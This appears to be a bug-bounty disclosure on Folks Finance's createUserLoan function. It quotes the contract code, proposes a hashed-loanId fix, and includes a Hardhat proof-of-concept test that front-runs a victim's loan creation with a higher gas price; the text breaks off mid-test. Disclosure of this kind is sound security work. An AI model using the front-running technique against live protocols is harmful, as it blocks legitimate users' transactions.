Boost _ Folks Finance 33880 - [Smart Contract - Medium] Front-Running Vulnerability in createUserLoan Method

Submitted on Wed Jul 31 2024 21:51:22 GMT-0400 (Atlantic Standard Time) by @chista0x for Boost | Folks Finance

Report ID: #33880

Report type: Smart Contract

Report severity: Medium

Target: https://testnet.snowtrace.io/address/0x2cAa1315bd676FbecABFC3195000c642f503f1C9

Impacts:

• Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

Brief/Intro

The createUserLoan method in the protocol's contract is vulnerable to a front-running attack. A malicious user can exploit this by observing a pending transaction and submitting their own transaction with the same loanId but with a higher gasPrice, causing the victim's transaction to be reverted due to the loan ID already being in use.

Vulnerability Details

The createUserLoan function currently checks if a loanId is already created and reverts the transaction if it is. However, this implementation allows a malicious user to front-run a legitimate user's loan creation request by submitting a transaction with the same loanId but with a higher gasPrice. This results in the attacker's transaction being processed first, and the legitimate user's transaction being reverted due to the loan ID collision.

The relevant code snippet from the createUserLoan method is:

contract LoanManager is ReentrancyGuard, ILoanManager, LoanManagerState {

    ...

    function createUserLoan(bytes32 loanId, bytes32 accountId, uint16 loanTypeId, bytes32 loanName)
        external
        override
        onlyRole(HUB_ROLE)
        nonReentrant
    {
        // check loan types exists, is not deprecated and no existing user loan for same loan id
        if (!isLoanTypeCreated(loanTypeId)) revert LoanTypeUnknown(loanTypeId);
        if (isLoanTypeDeprecated(loanTypeId)) revert LoanTypeDeprecated(loanTypeId);
        if (isUserLoanActive(loanId)) revert UserLoanAlreadyCreated(loanId);

        // create loan
        UserLoan storage userLoan = _userLoans[loanId];
        userLoan.isActive = true;
        userLoan.accountId = accountId;
        userLoan.loanTypeId = loanTypeId;

        emit CreateUserLoan(loanId, accountId, loanTypeId, loanName);
    }

    ...

}

contract LoanManagerState is AccessControlDefaultAdminRules {

    ...

    mapping(bytes32 loanId => UserLoan) internal _userLoans;

    ...

    function isUserLoanActive(bytes32 loanId) public view returns (bool) {
        return _userLoans[loanId].isActive;
    }

    ...

}

Impact Details

This vulnerability can be exploited by a malicious user to prevent legitimate users from creating new loans on the protocol. By continuously front-running transactions, an attacker could effectively block all new loan creation attempts, causing significant disruption to the protocol's user base.

Recommendation

To mitigate this vulnerability, it is recommended to generate the loanId using a seed provided by the user and the sender's address. This can be achieved by hashing the seed and the address together, preventing attackers from predicting or replicating the loanId.

Proposed code change:

function createUserLoan(bytes32 seed, bytes32 accountId, uint16 loanTypeId, bytes32 loanName)
    external
    override
{
    bytes32 loanId = keccak256(abi.encode(seed, accountId));

    // existing logic...
}

References

• LoanManager.sol on GitHub

Proof of concept

Proof of Concept (POC)

The following test simulates a front-running attack. The attacker submits a transaction with a higher gas price, causing the legitimate user's transaction to be reverted.

Add the code to the test\hub\LoanManager.test.ts

   describe("CreateUserLoan Front-Running", () => {
    it("Chista0x-Front-Running-CreateUserLoan", async () => {
      const { hub, unusedUsers,admin, loanManager, loanTypeId, loanName } =
        await loadFixture(createUserLoanFixture);


      // Just for change nonce that simulate front-running
      await loanManager.connect(admin).grantRole(HUB_ROLE, unusedUsers[0]);
      await loanManager.connect(admin).grantRole(HUB_ROLE, unusedUsers[1]);


      const loanId_Same: string = getRandomBytes(BYTES32_LENGTH);
      expect(await loanManager.isUserLoanActive(loanId_Same)).to.be.false;

      // set the mining behavior to false, so the transaction will be collected in the mempool, before finalization
      await network.provider.send("evm_setAutomine", [false]);

      // Victim made the transaction for create user loan with new loan id
      const createUserLoan_victim = await loanManager.connect(unusedUsers[0])
      .createUserLoan(loanId_Same, getAccountIdBytes("ACCOUNT_ID_victim"), loanTypeId, loanName,
        { gasLimit: 500000, gasPrice: ethers.parseUnits("100", "gwei") });
      console.log("Victim TX Hash = ", createUserLoan_victim.hash);

      // attacker create front-running for victim transaction with same loanId (send trx with higher gasPrice)
      const createUserLoan_attacker = await loanManager.connect(unusedUsers[1])
      .createUserLoan(loanId_Same, getAccountIdBytes("ACCOUNT_ID_attacker"), loanTypeId, loanName,
        { gasLimit: 500000, gasPrice: ethers.parseUnits("101", "gwei") });